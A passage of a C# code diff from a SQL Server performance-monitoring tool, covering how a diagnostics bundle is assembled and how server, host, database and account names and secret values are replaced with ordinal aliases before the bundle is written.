+                    aliaser.AddName(AliasKind.Role, match.Groups["account"].Value);
+                }
+            }
+            catch (System.Text.RegularExpressions.RegexMatchTimeoutException)
+            {
+                /* The ARN itself is already registered; an account id that could not be read adds nothing more. */
+            }
+        }
+
+        aliaser.AddSecret(externalId?.Trim());
+    }
+
+    private static void AddSecretsFrom(BundleAliaser aliaser, JsonNode? node, bool secretKey)
+    {
+        switch (node)
+        {
+            case JsonObject obj:
+                foreach (var (key, value) in obj)
+                {
+                    AddSecretsFrom(aliaser, value, SecretTextGuard.IsSecretKey(key));
+                }
+
+                break;
+            case JsonArray array:
+                foreach (var item in array)
+                {
+                    AddSecretsFrom(aliaser, item, secretKey);
+                }
+
+                break;
+            case JsonValue value when secretKey && value.TryGetValue<string>(out var text):
+                /* No length floor: a short secret is replaced on word boundaries (see BundleAliaser.AddSecret), and only
+                   one of four or more characters is also substring-verified. */
+                aliaser.AddSecret(text);
+                break;
+        }
+    }
+
+    private static readonly string[] s_sharedAccounts = { "system", "administrator", "root", "localsystem", "service", "networkservice", "admin" };
+
+    /// <summary>
+    /// Splits a service logon account (<c>CORP\svc_darling</c>, <c>.\svc</c>, <c>svc@corp.example.test</c>) into its
+    /// domain and login. The built-in accounts (<c>LocalSystem</c>, <c>NT AUTHORITY\...</c>, <c>NT SERVICE\...</c>) name
+    /// nothing and return null parts.
+    /// </summary>
+    internal static (string? Domain, string? Login) ParseServiceAccount(string? objectName)
+    {
+        var account = objectName?.Trim();
+        if (string.IsNullOrEmpty(account) || string.Equals(account, "LocalSystem", StringComparison.OrdinalIgnoreCase))
+        {
+            return (null, null);
+        }
+
+        var slash = account.IndexOf('\\', StringComparison.Ordinal);
+        if (slash > 0)
+        {
+            var domain = account[..slash];
+            var login = account[(slash + 1)..];
+            if (domain is "." or "NT AUTHORITY" or "NT SERVICE" || string.Equals(domain, "NT AUTHORITY", StringComparison.OrdinalIgnoreCase)
+                || string.Equals(domain, "NT SERVICE", StringComparison.OrdinalIgnoreCase))
+            {
+                return (null, domain == "." ? login : null);
+            }
+
+            return (domain, login);
+        }
+
+        var at = account.IndexOf('@', StringComparison.Ordinal);
+        return at > 0 ? (account[(at + 1)..], account[..at]) : (null, account);
+    }
+
+    /// <summary>
+    /// What the service registration said about the logon account: the parsed parts, and a manifest note for each path
+    /// that names nothing (the key is missing, the value is not text, or the account is a built-in one).
+    /// </summary>
+    internal static (string? Domain, string? Login, string? Note) ClassifyServiceAccount(bool keyFound, object? value)
+    {
+        if (!keyFound)
+        {
+            return (null, null, "The service's logon account was not read: the service registration was not found (the service may not be installed under its usual name).");
+        }
+
+        if (value is not string text)
+        {
+            return (null, null, "The service's logon account was not read: the registration holds no text value for it.");
+        }
+
+        var (domain, login) = ParseServiceAccount(text);
+        if (domain is null && login is null)
+        {
+            return (null, null, "The service runs as a built-in account, which names nothing; no service account was added to the name set.");
+        }
+
+        return (domain, login, null);
+    }
+
+    private static (bool KeyFound, object? Value) ReadServiceObjectName()
+    {
+        if (!OperatingSystem.IsWindows())
+        {
+            return (false, null);
+        }
+
+        using var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(
+            @"SYSTEM\CurrentControlSet\Services\" + DarlingCliCommands.ServiceName);
+        return key is null ? (false, null) : (true, key.GetValue("ObjectName"));
+    }
+
+    private static List<string> AddLocalIdentity(BundleAliaser aliaser)
+    {
+        var notes = new List<string>();
+        aliaser.AddName(AliasKind.Host, Environment.MachineName);
+        try
+        {
+            aliaser.AddName(AliasKind.Host, System.Net.Dns.GetHostName());
+        }
+        catch (System.Net.Sockets.SocketException)
+        {
+            /* No resolver on this host; the machine name above is the name that matters. */
+        }
+
+        try
+        {
+            var machineDomain = IPGlobalProperties.GetIPGlobalProperties().DomainName;
+            if (!string.IsNullOrWhiteSpace(machineDomain))
+            {
+                aliaser.AddName(AliasKind.Domain, machineDomain);
+            }
+        }
+        catch (Exception ex) when (ex is NetworkInformationException or PlatformNotSupportedException or InvalidOperationException)
+        {
+            /* The platform has no domain to report. */
+        }
+
+        var user = Environment.UserName;
+        if (!string.IsNullOrWhiteSpace(user) && !s_sharedAccounts.Contains(user, StringComparer.OrdinalIgnoreCase))
+        {
+            aliaser.AddName(AliasKind.Login, user);
+        }
+
+        var userDomain = Environment.UserDomainName;
+        if (!string.IsNullOrWhiteSpace(userDomain) && !s_sharedAccounts.Contains(userDomain, StringComparer.OrdinalIgnoreCase))
+        {
+            aliaser.AddName(AliasKind.Domain, userDomain);
+        }
+
+        if (!OperatingSystem.IsWindows())
+        {
+            notes.Add("The service's logon account was not read: this host is not Windows. A service account named only in log text is aliased by its quoted DOMAIN\\login form.");
+            return notes;
+        }
+
+        try
+        {
+            var (found, value) = ReadServiceObjectName();
+            var (domain, login, note) = ClassifyServiceAccount(found, value);
+            aliaser.AddName(AliasKind.Domain, domain);
+            aliaser.AddName(AliasKind.Login, login);
+            if (note is not null)
+            {
+                notes.Add(note);
+            }
+        }
+        catch (Exception ex) when (ex is System.Security.SecurityException or UnauthorizedAccessException or IOException or InvalidOperationException)
+        {
+            notes.Add("The service's logon account could not be read from the service registration (" + ex.GetType().Name + ").");
+        }
+
+        return notes;
+    }
+
+    /// <summary>Runs one reader under its own timeout and try/catch; a failure becomes an <c>error_class</c>, never an exception.</summary>
+    internal static async Task<BundleSection> RunSectionAsync(string name, Func<CancellationToken, Task<JsonNode?>> read, CancellationToken cancellationToken)
+    {
+        using var timeout = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
+        timeout.CancelAfter(TimeSpan.FromSeconds(SectionTimeoutSeconds));
+        try
+        {
+            var node = await read(timeout.Token);
+            return new BundleSection(name, node, StatusOf(node) == "error");
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException || !cancellationToken.IsCancellationRequested)
+        {
+            return new BundleSection(name, new JsonObject { ["status"] = "error", ["error_class"] = SlowReadLog.ErrorClassOf(ex) }, true);
+        }
+    }
+
+    /// <summary>The reason codes an unreachable-store section may carry. Nothing else ever reaches the file.</summary>
+    internal static readonly string[] StoreReasonCodes =
+    {
+        "missing_store_credential", "first_run", "bootstrap_stopped", "connect_failed", "auth_failed", "timeout", "other",
+    };
+
+    /// <summary>The caller's reason when it is one of <see cref="StoreReasonCodes"/>, else the code the error classifies to.</summary>
+    internal static string StoreReasonCode(string? requested, Exception? error) =>
+        requested is not null && StoreReasonCodes.Contains(requested, StringComparer.Ordinal) ? requested : ClassifyStoreError(error);
+
+    /// <summary>The fixed reason code when the config gives no store connection string at all.</summary>
+    internal static string MissingConnectionReason(PostgresConfig postgres)
+    {
+        if (!postgres.Managed || !OperatingSystem.IsWindows())
+        {
+            return "other";
+        }
+
+        try
+        {
+            var dataDirectory = DarlingManagedPostgres.ResolveDataDirectory(postgres);
+            var evidence = DarlingStoreBootstrapEvidence.FindBootstrapEvidence(dataDirectory);
+            return evidence is null ? "first_run" : "bootstrap_stopped";
+        }
+        catch (Exception ex) when (ex is ArgumentException or NotSupportedException or InvalidOperationException or IOException or UnauthorizedAccessException)
+        {
+            return "missing_store_credential";
+        }
+    }
+
+    /// <summary>
+    /// The fixed reason code for an unreachable store: <c>timeout</c>, <c>auth_failed</c> (a SQLSTATE of class 28),
+    /// <c>connect_failed</c> (a socket error or any other driver error before a session), or <c>other</c>.
+    /// </summary>
+    internal static string ClassifyStoreError(Exception? error)
+    {
+        for (var ex = error; ex is not null; ex = ex.InnerException)
+        {
+            if (ex is TimeoutException or OperationCanceledException)
+            {
+                return "timeout";
+            }
+
+            if (ex is PostgresException pg)
+            {
+                return pg.SqlState.StartsWith("28", StringComparison.Ordinal) ? "auth_failed" : "other";
+            }
+
+            if (ex is System.Net.Sockets.SocketException)
+            {
+                return "connect_failed";
+            }
+        }
+
+        return error is NpgsqlException ? "connect_failed" : "other";
+    }
+
+    /// <summary>The SQLSTATE of a PostgresException anywhere on the chain, or null.</summary>
+    internal static string? SqlStateOf(Exception? error)
+    {
+        for (var ex = error; ex is not null; ex = ex.InnerException)
+        {
+            if (ex is PostgresException pg && !string.IsNullOrEmpty(pg.SqlState))
+            {
+                return pg.SqlState;
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>The name of the <see cref="System.Net.Sockets.SocketError"/> of a SocketException anywhere on the chain, or null.</summary>
+    internal static string? SocketErrorOf(Exception? error)
+    {
+        for (var ex = error; ex is not null; ex = ex.InnerException)
+        {
+            if (ex is System.Net.Sockets.SocketException socket)
+            {
+                return socket.SocketErrorCode.ToString();
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>A reader's JSON answer as a tree; text that is not JSON is kept as a string so nothing is lost.</summary>
+    internal static JsonNode? ParseReader(string? json)
+    {
+        if (string.IsNullOrWhiteSpace(json))
+        {
+            return new JsonObject { ["status"] = "empty" };
+        }
+
+        try
+        {
+            return JsonNode.Parse(json);
+        }
+        catch (JsonException)
+        {
+            return JsonValue.Create(json);
+        }
+    }
+
+    internal static string StatusOf(JsonNode? node) =>
+        node is JsonObject obj && obj["status"] is JsonValue v && v.TryGetValue<string>(out var status) ? status : "ok";
+
+    /// <summary>
+    /// Cuts a section to its budget by dropping rows from the end of its largest array, then marks it
+    /// <c>truncated</c>. A section with nothing left to drop is replaced by a status.
+    /// </summary>
+    internal static JsonNode? FitToBudget(JsonNode? node, int budgetBytes, out bool truncated)
+    {
+        truncated = false;
+        if (node is null || Size(node) <= budgetBytes)
+        {
+            return node;
+        }
+
+        truncated = true;
+        for (var guard = 0; guard < 400 && Size(node) > budgetBytes; guard++)
+        {
+            var largest = LargestArray(node);
+            if (largest is null || largest.Count == 0)
+            {
+                return new JsonObject { ["status"] = "truncated", ["reason"] = "The section exceeded its size budget and had no rows to drop." };
+            }
+
+            var drop = Math.Max(1, largest.Count / 8);
+            for (var i = 0; i < drop && largest.Count > 0; i++)
+            {
+                largest.RemoveAt(largest.Count - 1);
+            }
+        }
+
+        if (node is JsonObject obj)
+        {
+            obj["truncated"] = true;
+        }
+
+        return node;
+    }
+
+    private static int Size(JsonNode node) => Encoding.UTF8.GetByteCount(node.ToJsonString(WriteOptions));
+
+    private static JsonArray? LargestArray(JsonNode? node)
+    {
+        JsonArray? best = null;
+        var bestSize = -1;
+
+        void Walk(JsonNode? n)
+        {
+            switch (n)
+            {
+                case JsonArray a:
+                {
+                    var size = a.Count == 0 ? 0 : Size(a);
+                    if (a.Count > 0 && size > bestSize)
+                    {
+                        best = a;
+                        bestSize = size;
+                    }
+
+                    foreach (var item in a)
+                    {
+                        Walk(item);
+                    }
+
+                    break;
+                }
+
+                case JsonObject o:
+                    foreach (var (_, value) in o)
+                    {
+                        Walk(value);
+                    }
+
+                    break;
+            }
+        }
+
+        Walk(node);
+        return best;
+    }
+
+    /// <summary>
+    /// Shapes the sections into the bundle: harvests names from every section first (so the name set is complete
+    /// before any alias is written), aliases every tree, fits each to its budget, holds the whole to the total cap,
+    /// writes the manifest, and runs the verifier. Returns the final text, or the leaks that blocked it.
+    /// </summary>
+    internal static (string? Text, IReadOnlyList<BundleLeak> Leaks, bool OverCap) Assemble(
+        IReadOnlyList<BundleSection> sections, BundleAliaser aliaser, JsonObject manifest)
+    {
+        aliaser.NoteProductValues(sections.Select(s => s.Name));
+        foreach (var section in sections)
+        {
+            aliaser.NoteKeys(section.Node);
+        }
+
+        foreach (var section in sections)
+        {
+            aliaser.Harvest(section.Node);
+        }
+
+        var aliased = new List<(string Name, JsonNode? Node, bool Truncated)>();
+        foreach (var section in sections)
+        {
+            var shaped = aliaser.AliasTree(section.Node);
+
+            /* Text is cut only AFTER it is aliased: a name cut to a prefix by an earlier truncation would match no token. */
+            if (section.AfterAlias is not null)
+            {
+                shaped = section.AfterAlias(shaped);
+            }
+
+            var budget = SectionBudgets.TryGetValue(section.Name, out var b) ? b : DefaultSectionBudgetBytes;
+            shaped = FitToBudget(shaped, budget, out var truncated);
+            aliased.Add((section.Name, shaped, truncated));
+        }
+
+        JsonObject Build()
+        {
+            var sectionsNode = new JsonObject();
+            var listing = new JsonArray();
+            foreach (var (name, node, truncated) in aliased)
+            {
+                sectionsNode[name] = node?.DeepClone();
+                listing.Add(new JsonObject
+                {
+                    ["name"] = name,
+                    ["bytes"] = node is null ? 0 : Size(node),
+                    ["truncated"] = truncated,
+                    ["status"] = StatusOf(node),
+                });
+            }
+
+            var m = (JsonObject)manifest.DeepClone();
+            m["sections"] = listing;
+            var counts = new JsonObject();
+            foreach (var (kind, count) in aliaser.Counts.OrderBy(p => p.Key))
+            {
+                counts[kind.ToString().ToLowerInvariant() + "s"] = count;
+            }
+
+            m["alias_counts"] = counts;
+            return new JsonObject { ["manifest"] = aliaser.AliasTree(m), ["sections"] = sectionsNode };
+        }
+
+        var root = Build();
+        for (var guard = 0; guard < 40 && Size(root) > TotalCapBytes; guard++)
+        {
+            var index = aliased.Select((s, i) => (s, i)).OrderByDescending(x => x.s.Node is null ? 0 : Size(x.s.Node)).First().i;
+            var current = aliased[index];
+            var target = Math.Max(1024, (current.Node is null ? 0 : Size(current.Node)) * 3 / 4);
+            aliased[index] = (current.Name, FitToBudget(current.Node, target, out _), true);
+            root = Build();
+        }
+
+        if (Size(root) > TotalCapBytes)
+        {
+            return (null, Array.Empty<BundleLeak>(), true);
+        }
+
+        var (leaks, text) = aliaser.Finish(root, WriteOptions);
+        return (text, leaks, false);
+    }
+
+    /// <summary>The manifest fields that do not depend on a section.</summary>
+    internal static JsonObject BuildManifest(int hours, string scope, int exitCode)
+    {
+        var assembly = typeof(DarlingCliCommands).Assembly;
+        var informational = assembly.GetCustomAttributes(typeof(System.Reflection.AssemblyInformationalVersionAttribute), false)
+            .OfType<System.Reflection.AssemblyInformationalVersionAttribute>().FirstOrDefault()?.InformationalVersion;
+        return new JsonObject
+        {
+            ["bundle_format"] = FormatVersion,
+            ["generated_at_utc"] = DateTime.UtcNow.ToString("o", CultureInfo.InvariantCulture),
+            ["product_version"] = DarlingCliCommands.ProductVersion(),
+            ["informational_version"] = informational,
+            ["os"] = new JsonObject
+            {
+                ["description"] = RuntimeInformation.OSDescription,
+                ["architecture"] = RuntimeInformation.OSArchitecture.ToString(),
+                ["framework"] = RuntimeInformation.FrameworkDescription,
+                ["containerized"] = string.Equals(Environment.GetEnvironmentVariable("DOTNET_RUNNING_IN_CONTAINER"), "true", StringComparison.OrdinalIgnoreCase),
+            },
+            ["local_utc_offset"] = TimeZoneInfo.Local.GetUtcOffset(DateTime.Now).ToString("c", CultureInfo.InvariantCulture),
+            ["hours"] = hours,
+            ["scope"] = scope,
+            ["exit_code"] = exitCode,
+        };
+    }
+
+    /// <summary>
+    /// Writes the text to a temp file beside the target, then moves it over. The temp name is random and the file is
+    /// created with <see cref="FileMode.CreateNew"/>, so a path someone planted in a shared directory is never written
+    /// through. The temp file is deleted on every path that does not end in the move.
+    /// </summary>
+    internal static string? WriteAtomically(string path, string text, bool force)
+    {
+        string temp;
+        try
+        {
+            var full = Path.GetFullPath(path);
+            temp = Path.Combine(Path.GetDirectoryName(full)!, "." + Path.GetFileName(full) + "." + Guid.NewGuid().ToString("N") + ".tmp");
+        }
+        catch (Exception ex) when (ex is ArgumentException or NotSupportedException or PathTooLongException)
+        {
+            return "Could not write the bundle (" + ex.GetType().Name + ").";
+        }
+
+        var moved = false;
+        try
+        {
+            using (var stream = new FileStream(temp, FileMode.CreateNew, FileAccess.Write, FileShare.None))
+            {
+                var bytes = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false).GetBytes(text);
+                stream.Write(bytes, 0, bytes.Length);
+            }
+
+            File.Move(temp, path, overwrite: force);
+            moved = true;
+            return null;
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            return "Could not write the bundle (" + ex.GetType().Name + ").";
+        }
+        finally
+        {
+            if (!moved)
+            {
+                TryDelete(temp);
+            }
+        }
+    }
+
+    internal static void TryDelete(string path)
+    {
+        try
+        {
+            File.Delete(path);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            /* A temp file we cannot delete is no worse than the failure that brought us here. */
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleAliaser.cs b/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleAliaser.cs
new file mode 100644
index 0000000000..1135850f2a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleAliaser.cs
@@ -0,0 +1,1059 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Net;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>What a name is, which decides the prefix of its alias (<c>server-1</c>, <c>db-3</c>).</summary>
+internal enum AliasKind
+{
+    Server,
+    Host,
+    Database,
+    Domain,
+    Login,
+    Role,
+    Ip,
+}
+
+/// <summary>One place a known name or secret survived aliasing: which section and field, never the text itself.</summary>
+internal sealed record BundleLeak(string Section, string Field, string Class);
+
+/// <summary>
+/// Replaces every known name in a diagnostics bundle with an ordinal alias, and then proves none survived.
+///
+/// <para><b>Ordinals, never hashes.</b> <c>server-1</c>, <c>db-3</c>, <c>host-2</c>, <c>ip-1</c> are derived from
+/// nothing, so there is nothing to enumerate or reverse. Aliases are stable for a given order of registration, so two
+/// bundles from one store use the same alias for the same server. The alias map leaves this class only through
+/// <see cref="AliasMapLines"/>, for the opt-in map file; the bundle never carries it.</para>
+///
+/// <para><b>The scan</b> rewrites string VALUES, never keys, with one compiled alternation, longest token first, with
+/// word-character boundaries so <c>sales</c> does not match inside <c>wholesales</c>. It runs in one pass, so an alias
+/// is never re-scanned. <see cref="Finish"/> is the proof: it scans the serialized bytes and the JSON-unescaped text
+/// for every known token of <see cref="VerifyMinimumLength"/> characters or more as a plain substring, replaces a
+/// glued hit with no boundary, and reports anything that still survives.</para>
+/// </summary>
+internal sealed class BundleAliaser
+{
+    /// <summary>Tokens shorter than this are boundary-replaced but not substring-verified: they would hit everywhere.</summary>
+    internal const int VerifyMinimumLength = 4;
+
+    /// <summary>Shorter than this and a name is not a token at all (a single character would garble every sentence).</summary>
+    internal const int TokenMinimumLength = 2;
+
+    /// <summary>
+    /// Names that identify nothing and appear in product text: the system databases, the product's own roles, and
+    /// the operating-system accounts every install shares. A name in this set is never aliased, wherever it stands.
+    /// Pinned by a test.
+    /// </summary>
+    internal static readonly string[] KeptNames =
+    {
+        "master", "model", "msdb", "tempdb", "distribution", "rdsadmin", "postgres", "template0", "template1",
+        "darling", "root", "localhost",
+    };
+
+    /// <summary>
+    /// The words the service log uses for its own listeners and for a reverse proxy (<c>mcp</c>, <c>web</c> and
+    /// <c>dashboard</c>: "MCP server", "Web dashboard", <c>mcp.network.allowFrom</c>; <c>proxy</c>: "reverse proxy"),
+    /// skipped only as the FIRST LABEL of a host name. A configured host name that starts with one of them
+    /// (<c>mcp.corp.example</c> as <c>mcp.network.hostName</c>, <c>https://web.corp.example</c> as
+    /// <c>web.publicBaseUrl</c>, <c>http://proxy.corp.example:3128</c> as a webhook proxy) is aliased whole, with its
+    /// domain, but its first label is not registered on its own, so the log's own words are not rewritten as
+    /// <c>host-N</c> (#5288). The words are deliberately not in <see cref="KeptNames"/>: a server, a database or an
+    /// account domain that is literally called <c>web</c> is a name like any other and is aliased, even though that
+    /// also rewrites the log's "Web" words. Privacy wins over readability here. Pinned by a test.
+    /// </summary>
+    internal static readonly string[] KeptFirstLabels = { "mcp", "web", "dashboard", "proxy" };
+
+    /// <summary>The product's own store roles. A <c>role_name</c> in this set is kept; any other role name is a login and is aliased.</summary>
+    internal static readonly string[] ProductRoles = { "owner", "admin", "viewer", "mcp" };
+
+    /// <summary>The JSON keys whose string value is a name the harvest pass adds to the name set, with the kind it is.</summary>
+    internal static readonly IReadOnlyDictionary<string, AliasKind> HarvestKeys = new Dictionary<string, AliasKind>(StringComparer.OrdinalIgnoreCase)
+    {
+        ["server_name"] = AliasKind.Server,
+        ["display_name"] = AliasKind.Server,
+        ["instance_name"] = AliasKind.Server,
+        ["host"] = AliasKind.Host,
+        ["host_name"] = AliasKind.Host,
+        ["listener"] = AliasKind.Host,
+        ["ag_name"] = AliasKind.Host,
+        ["client_hostname"] = AliasKind.Host,
+        ["database"] = AliasKind.Database,
+        ["database_name"] = AliasKind.Database,
+        ["db_name"] = AliasKind.Database,
+        ["dbname"] = AliasKind.Database,
+        ["login_name"] = AliasKind.Login,
+        ["user_name"] = AliasKind.Login,
+        ["client_addr"] = AliasKind.Ip,
+        ["role_name"] = AliasKind.Role,
+        ["role"] = AliasKind.Role,
+    };
+
+    private static readonly HashSet<string> s_kept = new(KeptNames, StringComparer.OrdinalIgnoreCase);
+
+    private static readonly HashSet<string> s_keptFirstLabels = new(KeptFirstLabels, StringComparer.OrdinalIgnoreCase);
+
+    private const string Octet = @"(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)";
+    private const string Ipv4 = Octet + @"(?:\." + Octet + "){3}";
+    /* An IPv4 address written inside an IPv6 one (::ffff:203.0.113.77, 64:ff9b::203.0.113.77, 0:0:0:0:0:ffff:203.0.113.77).
+       It is tried before the plain IPv6 branches, which would otherwise stop at the first octet. */
+    private const string Ipv6WithIpv4 = @"(?:[0-9a-f]{0,4}:){2,7}" + Ipv4;
+    private const string Ipv6 = @"(?:[0-9a-f]{1,4}:){7}[0-9a-f]{1,4}|(?:[0-9a-f]{1,4}:){1,7}:(?:[0-9a-f]{1,4}(?::[0-9a-f]{1,4}){0,5})?|::(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4}";
+
+    private readonly Dictionary<string, string> _aliasByToken = new(StringComparer.OrdinalIgnoreCase);
+    private readonly Dictionary<AliasKind, int> _counts = new();
+    private readonly Dictionary<AliasKind, int> _ordinals = new();
+    private readonly HashSet<string> _domainTokens = new(StringComparer.OrdinalIgnoreCase);
+    private readonly Dictionary<int, string> _aliasByServerId = new();
+    private readonly List<string> _secrets = new();
+    private readonly HashSet<string> _secretSet = new(StringComparer.Ordinal);
+    private readonly List<string> _tokenOrder = new();
+    private Regex? _scan;
+
+    /// <summary>How many aliases of each kind exist, for the manifest (counts only).</summary>
+    internal IReadOnlyDictionary<AliasKind, int> Counts => _counts;
+
+    /// <summary>The number of known name tokens.</summary>
+    internal int TokenCount => _aliasByToken.Count;
+
+    /// <summary>True when <paramref name="name"/> is one of the names that are never aliased.</summary>
+    internal static bool IsKept(string name) => s_kept.Contains(name.Trim());
+
+    /// <summary>True when <paramref name="label"/> is one of the <see cref="KeptFirstLabels"/>: skipped as a host name's first label, and nowhere else.</summary>
+    internal static bool IsKeptFirstLabel(string label) => s_keptFirstLabels.Contains(label.Trim());
+
+    /// <summary>Adds a secret value the verifier must never find. Empty text is ignored.</summary>
+    internal void AddSecret(string? secret)
+    {
+        /* A secret equal to one of the kept product words (a lab password of "darling", say) cannot be removed from
+           product text without destroying it, so it is not tracked. Documented limitation. */
+        if (!string.IsNullOrWhiteSpace(secret) && !IsKept(secret) && _secretSet.Add(secret))
+        {
+            _secrets.Add(secret);
+        }
+    }
+
+    /// <summary>Registers a server's id so a <c>server_id</c> value becomes its alias, and returns that alias.</summary>
+    internal string AddServer(int serverId, string? name)
+    {
+        string alias;
+        if (!string.IsNullOrWhiteSpace(name))
+        {
+            AddName(AliasKind.Server, name);
+            alias = AliasOf(name.Trim().Trim('[', ']', '"', '\''), AliasKind.Server);
+        }
+        else
+        {
+            alias = NextAlias(AliasKind.Server);
+        }
+
+        _aliasByServerId[serverId] = alias;
+        return alias;
+    }
+
+    /// <summary>The alias a server id stands for; an id the registry never listed gets a fresh server alias.</summary>
+    internal string AliasForServerId(long serverId)
+    {
+        if (serverId is >= int.MinValue and <= int.MaxValue && _aliasByServerId.TryGetValue((int)serverId, out var known))
+        {
+            return known;
+        }
+
+        var alias = NextAlias(AliasKind.Server);
+        if (serverId is >= int.MinValue and <= int.MaxValue)
+        {
+            _aliasByServerId[(int)serverId] = alias;
+        }
+
+        return alias;
+    }
+
+    /// <summary>
+    /// Adds a name and its pieces to the name set. <c>host\instance</c> adds the host and the instance;
+    /// <c>host,port</c> and <c>host:port</c> add the host; an FQDN adds the full name, its first label and its domain
+    /// suffix (as <see cref="AliasKind.Domain"/>); a bracketed or quoted form adds the bare name; an IP literal is an
+    /// <see cref="AliasKind.Ip"/>. The whole spelling and the host share one alias.
+    /// </summary>
+    internal void AddName(AliasKind kind, string? raw)
+    {
+        if (string.IsNullOrWhiteSpace(raw))
+        {
+            return;
+        }
+
+        var name = StripProtocol(raw.Trim().Trim('[', ']', '"', '\'', ' '));
+        if (name.Length < TokenMinimumLength)
+        {
+            return;
+        }
+
+        var baseName = name;
+        string? instance = null;
+        if (!IPAddress.TryParse(name, out _))
+        {
+            var port = Regex.Match(name, @"^(?<h>[^,:]+(?:\\[^,:]+)?)[,:]\d{1,5}$", RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+            if (port.Success)
+            {
+                baseName = port.Groups["h"].Value;
+            }
+
+            var slash = baseName.IndexOf('\\', StringComparison.Ordinal);
+            if (slash > 0)
+            {
+                instance = baseName[(slash + 1)..];
+                baseName = baseName[..slash];
+            }
+        }
+
+        baseName = baseName.Trim().Trim('[', ']', '"', '\'');
+        var baseAlias = RegisterBase(kind, baseName);
+        if (baseAlias is not null && !string.Equals(name, baseName, StringComparison.OrdinalIgnoreCase))
+        {
+            Map(name, baseAlias);
+        }
+
+        if (!string.IsNullOrWhiteSpace(instance))
+        {
+            RegisterBase(kind == AliasKind.Server ? AliasKind.Host : kind, instance.Trim().Trim('[', ']', '"', '\''));
+        }
+    }
+
+    /// <summary>Gives <paramref name="raw"/> the alias <paramref name="anchor"/> already has (a display name shares its server's alias).</summary>
+    internal void AddNameLike(string? raw, string? anchor)
+    {
+        if (string.IsNullOrWhiteSpace(raw) || string.IsNullOrWhiteSpace(anchor))
+        {
+            return;
+        }
+
+        if (_aliasByToken.TryGetValue(anchor.Trim().Trim('[', ']', '"', '\''), out var alias))
+        {
+            Map(raw.Trim(), alias);
+        }
+        else
+        {
+            AddName(AliasKind.Server, raw);
+        }
+    }
+
+    /// <summary>Registers a DNS domain whole (an e-mail domain, a URL's registrable suffix) with no first-label split.</summary>
+    internal void AddDomain(string? raw)
+    {
+        var name = raw?.Trim().Trim('[', ']', '"', '\'', ' ', '.', '>', '<');
+        if (!string.IsNullOrEmpty(name) && name.Length >= TokenMinimumLength)
+        {
+            AliasOf(name, AliasKind.Domain);
+        }
+    }
+
+    private static readonly Regex s_protocolPrefix = new(@"^(?:tcp|np|lpc|admin):", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+
+    /// <summary>
+    /// SQL Server connection spellings carry a protocol prefix (<c>tcp:host,1433</c>, <c>np:\\host\pipe\sql\query</c>,
+    /// <c>lpc:host</c>, <c>admin:host</c>). The prefix is dropped, and a named-pipe path is reduced to its host.
+    /// </summary>
+    private static string StripProtocol(string name)
+    {
+        var stripped = s_protocolPrefix.Replace(name, string.Empty, 1).Trim();
+
+        /* "admin:5432" is a host called admin with a port, not a protocol prefix. */
+        if (stripped.Length == name.Length || stripped.All(char.IsDigit))
+        {
+            return name;
+        }
+
+        if (stripped.StartsWith(@"\\", StringComparison.Ordinal))
+        {
+            var rest = stripped.TrimStart('\\');
+            var end = rest.IndexOf('\\', StringComparison.Ordinal);
+            return end < 0 ? rest : rest[..end];
+        }
+
+        return stripped;
+    }
+
+    /* A quoted WORD\word is a Windows account (domain and login): 'CORP\svc_darling' in a SQL Server 18456 message.
+       The domain half is NetBIOS-shaped (a letter first, at most 15 characters, no dot), so a quoted relative path
+       ('..\logs') or a dotted file name is not an account. */
+    private static readonly Regex s_quotedAccount = new(
+        @"(?<q>['""])(?<d>[A-Za-z][A-Za-z0-9_\-]{1,14})\\(?<l>[A-Za-z0-9_.$\-]{2,64})\k<q>",
+        RegexOptions.CultureInvariant, TimeSpan.FromSeconds(2));
+
+    /// <summary>Words that read as product or path vocabulary, not as a domain or login: a quoted <c>'server\instance'</c> is help text.</summary>
+    private static readonly HashSet<string> s_vocabulary = new(StringComparer.OrdinalIgnoreCase)
+    {
+        "server", "host", "db", "domain", "login", "role", "ip", "tag", "instance", "database", "pg", "log", "logs",
+        "data", "store", "service", "user", "path", "bin", "etc", "var", "tmp", "opt", "usr", "lib",
+    };
+
+    private static readonly Regex s_fileExtension = new(
+        @"\.(?:log|json|txt|conf|cfg|ini|xml|exe|dll|md|csv|sql|tmp)$", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+
+    private readonly HashSet<string> _bundleKeys = new(StringComparer.Ordinal);
+
+    /// <summary>
+    /// Records every JSON key of <paramref name="node"/>. A quoted half that is a kept word, or that has the shape of a
+    /// product key (lowercase letters, digits and underscores) and IS one of these keys, is vocabulary and not an account.
+    /// </summary>
+    internal void NoteKeys(JsonNode? node)
+    {
+        switch (node)
+        {
+            case JsonObject obj:
+                foreach (var (key, value) in obj)
+                {
+                    _bundleKeys.Add(key);
+
+                    /* A status is a fixed word of the product (ok, not_present, store_unreachable), never data. */
+                    if (key == "status" && value is JsonValue statusValue && statusValue.TryGetValue<string>(out var status))
+                    {
+                        NoteProductValues(new[] { status });
+                    }
+
+                    NoteKeys(value);
+                }
+
+                break;
+            case JsonArray array:
+                foreach (var item in array)
+                {
+                    NoteKeys(item);
+                }
+
+                break;
+        }
+    }
+
